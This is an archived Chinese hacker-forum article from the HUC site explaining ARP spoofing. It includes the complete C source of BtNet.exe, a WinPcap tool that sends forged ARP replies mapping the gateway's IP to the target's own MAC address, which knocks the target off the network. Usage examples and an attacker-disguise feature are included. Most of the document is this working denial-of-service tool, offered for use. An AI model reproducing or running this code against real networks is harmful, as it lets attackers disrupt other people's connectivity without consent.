快速通道

文档分类
- 红盟公告
- 新手上路 <=
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- 安全技术
- 业界动态

本类热门
- ftp使用经典
- 一个木马的查杀过程
- 基于arp欺骗的网络攻击程序(BtNet.exe)
- 终端服务全攻略
- 握着你的“手”清除DLL后门
- 巧用asp木马和KV2004得到管理员权限

基于arp欺骗的网络攻击程序(BtNet.exe)

提交文章： ruder
提交日期： 2003-10-30
文章属性： 原创
文档类别： 新手上路
浏览次数： 今7次/总20018次

基于arp欺骗的网络攻击程序
written by Ruder
Homepage:http://xEyes.cdut.net/ruder/ && http://www.cnwill.com/ruder/
Email:cocoruder@163.com

最近开始学WINPCAP，看了很多高手写的基于arp欺骗的抓包工具，尤其是电子科大的TOo2y师兄的《详谈调用winpcap驱动写arp多功能工具》，令我收益非浅。下面是我把这个思想改成arp攻击程序(可令目标主机断开网络连接)的一些测试。高手请略过，以免有班门弄斧之闲。
一般的arp spoof是向被欺骗主机发送ARP REPLY数据报,把其中的源IP地址置为被欺骗主机要发包去的主机地址，源MAC地址却改为自己的MAC地址。假设有两台机器A,B，发送一个ARP REPLY数据报给A,其中源IP地址为B的地址,源MAC地址为我的机器的MAC地址(IPRouter功能打开确保数据被转发)，那么A发送到B的数据报就发到我的机器上了，同样对B做相同到操作，那么A<==>B之间的数据就会源源不断的通过我的机器转发，直到一个正常的ARP包更改了A,B的arp缓存为止。
那么我们把发送给A的arp数据报的源IP,源MAC更改成任意的，会出现什么现象？下面是我的几个测试
1. 源IP更改为网关IP,源MAC改为不存在的MAC地址
对目标主机几乎不影响
2. 源IP更改为网关IP,源MAC改为内网内任意一台存在但没有开启IPRouter的主机的MAC地址
几乎不影响
3. 源IP更改为网关IP,源MAC改为目标主机的MAC
目标主机立刻断网!

可见当发送经过我们构造的ARP REALY包给目标主机时,会使目标主机的ARP缓存更改，数据封装到MAC层的时候会把网关的IP和自己的MAC地址封装到一起，那么发送到网关的数据报只好发给自己了，呵呵。
至于第1种情况，猜想大概是由于MAC地址不存在,目标主机会广播一个ARP REQUEST包而更新了自己的ARP缓存所致。
至于第2种情况，猜想源MAC地址所属主机会返回一个ARP REPLY给目标主机。
水平有限，所以只是猜想，知道的请告诉我一声，先谢过了。

再说一下，以上测试只对于windows系统，当然也测试过对没有配置好的Red Hat成功过。
测试程序(BtNet.exe)说明：
Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]
-m参数是你要修改的源MAC地址.
为了隐蔽攻击者身份，程序再得到目标主机MAC地址时伪装成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5，可能会得不到目标主机的MAC地址，那么要得到MAC地址请借助第三方工具。

附测试程序代码

```
#include "packet32.h"
#include "ntddndis.h"
#include <stdio.h>
#include <conio.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")

#define ETH_IP 0x0800
#define ETH_ARP 0x0806
#define ARP_REQUEST 0x0001 //arp请求包
#define ARP_REPLY 0x0002 //arp应答包
#define ARP_HARDWARE 0x0001
#define max_num_adapter 10

#pragma pack(push,1)

typedef struct ethdr
{
    unsigned char eh_dst[6]; //以太网目的地址
    unsigned char eh_src[6]; //以太网源地址
    unsigned short eh_type; //
}ETHDR,*PETHDR;
typedef struct arphdr //arp头
{
    unsigned short arp_hdr; //硬件类型
    unsigned short arp_pro; //协议类型
    unsigned char arp_hln; //硬件地址长度
    unsigned char arp_pln; //协议地址长度
    unsigned short arp_opt; //
    unsigned char arp_sha[6]; //发送端以太网地址
    unsigned long arp_spa; //发送端ip地址
    unsigned char arp_tha[6]; //接收端以太网地址
    unsigned long arp_tpa; //接收端ip地址
}ARPHDR,*PARPHDR;

typedef struct ip_mac
{
u_long ip;
unsigned char mac[6];
}IP_MAC,*PIP_MAC;

#pragma pack(push)

LPADAPTER lpAdapter;
char adapterlist[max_num_adapter][1024];
IP_MAC toipandmac;
IP_MAC oipandmac,myipandmac;
BOOL param6=FALSE;
char *noMACstr;
char noMAC[6][3];
u_long mytoIP,oIP;
BOOL sendtoOip;
MSG msg;
UINT newtimer;
char MYIP[20]="128.128.128.128";
BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;

int getint(char c)
{
    int t=-1;
    if((c<='9')&&(c>='0'))
        t=c-'0';
    else if((c>='a')&&(c<='f'))
        t=10+c-'a';
    else if((c>='A')&&(c<='F'))
        t=10+c-'A';
    return t;
}
```

```
void start()
{
    printf("BtNet //--an ARP Tool test the Windows Break the Internet\n");
    printf("written by Ruder,10/2003\n");
    printf("Homepage: http://xEyes.cdut.net/ruder/index.htm\;n");
    printf("E-mail: cocoruder@163.com\n");
    printf("\nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]\n");
    printf("Example:\n");
    printf("BtNet -h 202.115.138.12 -o 202.115.138.1\n");
    printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7c\n");
    printf(" Warning: You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
    return ;
}

DWORD WINAPI sniff(LPVOID)
{
LPPACKET lppackets,lpPacketr;
char recvbuf[1024*250];
    ULONG ulbytesreceived,off;
    ETHDR *eth;
    ARPHDR *arp;
    char *buf,*pChar,*base;
    char szTemp[20];
    struct bpf_hdr *hdr;

if((lppackets=PacketAllocatePacket())==FALSE)
    {
        printf("PacketAllocatePacket send Error: %d\n",GetLastError());
        return 0;
    }

    if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
    {
        printf("Warning: Unable to set the adapter to promiscuous mode\n");
    }

    if(PacketSetBuff(lpAdapter,500*1024)==FALSE)
    {
        printf("PacketSetBuff Error: %d\n",GetLastError());
        return 0;
    }

    if(PacketSetReadTimeout(lpAdapter,1)==FALSE)
    {
        printf("Warning: Unable to set the timeout\n");
    }

    if((lpPacketr=PacketAllocatePacket())==FALSE)
    {
        printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
        return 0;
    }

    PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf));

    while(!kbhit())
    {
        if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE)
        {
         return 0;
        }
        //getdata(lppacketr,option);
        ulbytesreceived=lpPacketr->ulBytesReceived;
        buf=(char *)lpPacketr->Buffer;

        off=0;
    while(off<ulbytesreceived)
    {
        if(kbhit())
        {
            return 0;
```

```
        }
        hdr=(struct bpf_hdr *)(buf+off);
        off+=hdr->bh_hdrlen;

        pChar=(char *)(buf+off);
        base=pChar;
        off=Packet_WORDALIGN(off+hdr->bh_caplen);

        eth=(PETHDR)pChar; //以太头
        arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp头
        int i;

        if((eth->eh_type==htons(ETH_ARP))&&
           (arp->arp_opt==htons(ARP_REPLY)))
        {
         //if (arp->arp_tpa==htonl(ntohl(inet_addr(MYIP))))
           {
           if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag)
              return 0;
           if (((toipandmac.ip==htonl(arp->arp_spa))&&(toipandmac_flag==FALSE))
              ||((myipandmac.ip==htonl(arp->arp_spa))&&(myipandmac_flag==FALSE))
              ||((oipandmac.ip==htonl(arp->arp_spa))&&(oipandmac_flag==FALSE)))
           {
           memset(szTemp,0,sizeof(szTemp));
           memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa));

           printf("[IP]:");
           printf("%s",inet_ntoa(*((struct in_addr *)szTemp)));
           printf("[MAC]:");
           for(i=0;i<5;i++)
           {
           printf("%.2x-",eth->eh_src[i]);
           }
           printf("%.2x",eth->eh_src[5]);
           printf("\n");

           if (toipandmac.ip==htonl(arp->arp_spa))
           {
              for(i=0;i<6;i++)
              toipandmac.mac[i]=eth->eh_src[i];
              toipandmac_flag=TRUE;
           }

           if (oipandmac.ip==htonl(arp->arp_spa))
           {
              for(i=0;i<6;i++)
              oipandmac.mac[i]=eth->eh_src[i];
              oipandmac_flag=TRUE;
           //    printf("if you have get the MAC Addresses enough,Press any key for staring!
\n");
           }
           if(myipandmac.ip==htonl(arp->arp_spa))
           {
              for(i=0;i<6;i++)
              myipandmac.mac[i]=eth->eh_src[i];
              myipandmac_flag=TRUE;
           }
           }
    }
}
    continue;
    }
}
    return 0;
}


DWORD WINAPI sendARPPacket(LPVOID dwsendtoIP)
{
    LPPACKET lpPacket;
    ETHDR eth;
    ARPHDR arphdr;
```

```
    int i;
    char szPacketBuf[600];
    u_long sendtoIP=*(u_long *)dwsendtoIP;
    //struct sockaddr_in sin;

    lpPacket = PacketAllocatePacket();
    if(lpPacket==NULL)
    {
        printf("\nPacketAllocatePacket error!");
        return 0;
    }
    eth.eh_type=htons(ETH_ARP);
    for(i=0;i<6;i++)
    {
        eth.eh_dst[i]=0xff;
        eth.eh_src[i]=0xa5;
        arphdr.arp_sha[i]=0xa5;
        arphdr.arp_tha[i]=0xff;
    }

    arphdr.arp_hdr=htons(ARP_HARDWARE);
    arphdr.arp_pro=htons(ETH_IP);
    arphdr.arp_opt=htons(ARP_REQUEST);
    arphdr.arp_hln=6;
    arphdr.arp_pln=4;

    arphdr.arp_tpa=htonl(sendtoIP);
arphdr.arp_spa=htonl(ntohl(inet_addr(MYIP)));
    if(sendtoOip)
    {


        if(myipandmac_flag)
        {
            for(i=0;i<6;i++)
            {
                eth.eh_src[i]=myipandmac.mac[i];
                arphdr.arp_sha[i]=myipandmac.mac[i];
                arphdr.arp_spa=htonl(myipandmac.ip);
                //memset(MYIP,0,sizeof(MYIP));

            }
        }
        else
        {
            printf("My MAC Address Can't Find!\n");
            return 0;
        }
    }

    memset(szPacketBuf,0,sizeof(szPacketBuf));
    memcpy(szPacketBuf,ð,sizeof(ETHDR));
    memcpy(szPacketBuf+sizeof(ETHDR),&arphdr,sizeof(ARPHDR));

    PacketInitPacket(lpPacket,szPacketBuf,60);
    if(PacketSetNumWrites(lpAdapter, 1)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}

    if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
PacketFreePacket(lpPacket);
        return 0;
}

    PacketFreePacket(lpPacket);

    return 0;
}
```

```
DWORD WINAPI sendSR()
{
    ETHDR eth;
    ARPHDR arphdr;
    int i;
    char szPacketBuf[600];
    LPPACKET lpPacket;
    unsigned char toMAC[6];
    struct sockaddr_in sin;
    u_long toIP=mytoIP;

    //if ((myipandmac_flag==FALSE)||(oipandmac_flag==FALSE)||
(toipandmac_flag==FALSE))
    //{
    //    printf("Can't get all MAC address!\n");
    //    return 0;
    //}
    lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.\n");
return 0;
}
    if (toipandmac_flag==FALSE)
    {
        printf("Can't get toMAC address!\n");
        return 0;
    }

    memset(toMAC,0,sizeof(toMAC));
    memcpy(toMAC,&toipandmac.mac,sizeof(toipandmac.mac));

    if (param6)
    {
        for(i=0;i<6;i++)
        {
            int t1,t2;
            char c1,c2;
            c1=noMAC[i][0];
            c2=noMAC[i][1];

            t1=getint(c1);
            t2=getint(c2);

            if((t1==-1)||(t2==-1))
            {
                printf("-m parameter error!\n");
                return 0;
            }

            eth.eh_src[i]=t1*16+t2;
            eth.eh_dst[i]=toMAC[i];
            arphdr.arp_sha[i]=t1*16+t2;
            arphdr.arp_tha[i]=toMAC[i];
        }
    }
    else
    {
        for(i=0;i<6;i++)
        {
            eth.eh_src[i]=toMAC[i];
            eth.eh_dst[i]=toMAC[i];
            arphdr.arp_sha[i]=toMAC[i];
            arphdr.arp_tha[i]=toMAC[i];
        }
    }

    eth.eh_type=htons(ETH_ARP);

    arphdr.arp_spa=htonl(oIP);
    arphdr.arp_tpa=htonl(toIP);
```

```
    arphdr.arp_hdr=htons(ARP_HARDWARE);
    arphdr.arp_pro=htons(ETH_IP);
    arphdr.arp_opt=htons(ARP_REPLY);
    arphdr.arp_hln=6;
    arphdr.arp_pln=4;

    memset(szPacketBuf,0,sizeof(szPacketBuf));
    memcpy(szPacketBuf,ð,sizeof(ETHDR));
    memcpy(szPacketBuf+sizeof(ETHDR),&arphdr,sizeof(ARPHDR));

    PacketInitPacket(lpPacket,szPacketBuf,60);
    if(PacketSetNumWrites(lpAdapter, 1)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}
    if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
PacketFreePacket(lpPacket);
        return 0;
}
    PacketFreePacket(lpPacket);

    sin.sin_addr.s_addr=arphdr.arp_tpa;

    printf("spoof %s: ",inet_ntoa(sin.sin_addr));
    sin.sin_addr.s_addr=arphdr.arp_spa;
    printf("%s-->",inet_ntoa(sin.sin_addr));

        for(i=0;i<5;i++)
            printf("%.2x-",arphdr.arp_sha[i]);
        printf("%x",arphdr.arp_sha[5]);
    printf("\n");

    return 0;
}


DWORD WINAPI sendSRTimer(LPVOID dwtoIP)
{
    printf("Waiting spoof Start\n");
    mytoIP=*(u_long *)dwtoIP;
    newtimer=SetTimer(NULL,NULL,5*1000,TIMERPROC(sendSR));

    while(GetMessage(&msg,0,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}

int main(int argc,char *argv[])
{
    HANDLE thread1,thread2,thread3;
    WCHAR adaptername[8192];
    WCHAR *name1,*name2;
    ULONG adapterlength;
    DWORD threadid1,threadid2,threadid3;
    u_long toIP,myip;
    struct NetType ntype;
    struct sockaddr_in sin;
    struct npf_if_addr ipbuff;
    int adapternum=0,opti=0,open,i,j;
    long npflen;

    if((argc!=5)&&(argc!=7))
    {
        start();
        return 0;
    }
```

```
else if((strcmp(argv[1],"-h")!=0)||(strcmp(argv[3],"-o")!=0))
{
    start();
    return 0;
}

toIP=ntohl(inet_addr(argv[2]));
oIP=ntohl(inet_addr(argv[4]));

if (argv[5]!=NULL)
{
if (strcmp(argv[5],"-m")==0)
{
    noMACstr=argv[6];
    j=0;

        for(i=0;i<6;i++)
        {
            memset(noMAC[i],0,sizeof(noMAC[i]));
            memcpy(noMAC[i],noMACstr,2);
            noMACstr=noMACstr+3;
        }
param6=TRUE;
}
}
printf("\nLibarary Version: %s",PacketGetVersion());
adapterlength=sizeof(adaptername);

if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE) //得到网卡
列表
{
    printf("PacketGetAdapterNames Error: %d\n",GetLastError());
    return -1;
}

name1=adaptername;
name2=adaptername;
i=0;

while((*name1!='\0') || (*(name1-1)!='\0'))
{
    if(*name1=='\0')
    {
        memcpy(adapterlist[i],name2,2*(name1-name2));
        name2=name1+1;
        i++;
    }
    name1++;
}

adapternum=i;
printf("\nAdapters Installed:\n");
for(i=0;i<adapternum;i++)
    wprintf(L"%d - %s\n",i+1,adapterlist[i]);

do
{
    printf("\nSelect the number of the adapter to open: ");
    scanf("%d",&open);
    if(open>=1 && open<=adapternum)
        break;
}while(open<1 || open>adapternum);

lpAdapter=PacketOpenAdapter(adapterlist[open-1]);

if(!lpAdapter || (lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
    printf("PacketOpenAdapter Error: %d\n",GetLastError());
    return -1;
}

if(PacketGetNetType(lpAdapter,&ntype))
```

```
    {
        printf("\n\t\t*** Host Information ***\n");
        printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);
        printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
    }

    npflen=sizeof(ipbuff);
    if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))
    {
        sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);
        printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));

        sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);
        printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));

        sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);
        printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
        myip=ntohl(sin.sin_addr.s_addr);

        printf("[MACAddress:]");
    }
    else
    {
        printf("\nNot get enough data\n");
        //PacketFreePacket(lppackets);
        PacketCloseAdapter(lpAdapter);
        return -1;
    }
    printf("\n");

    oipandmac.ip=oIP;
    toipandmac.ip=toIP;
    myipandmac.ip=myip;
    sendtoOip=FALSE;

    thread1=CreateThread(NULL,0,sniff,NULL,0,&threadid1);
    Sleep(300);
    thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&myip,0,&threadid2);
    Sleep(100);
    CloseHandle(thread2);
    thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&toIP,0,&threadid2);
    Sleep(10);
    CloseHandle(thread2);
    sendtoOip=TRUE;
    Sleep(200);
    thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&oIP,0,&threadid2);
    Sleep(10);
    CloseHandle(thread2);
//    WaitForSingleObject(thread1,INFINITE);
    thread3=CreateThread(NULL,0,sendSRTimer,(LPVOID)&toIP,0,&threadid3);
    WaitForSingleObject(thread3,INFINITE);

    PacketCloseAdapter(lpAdapter);

return 0;
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net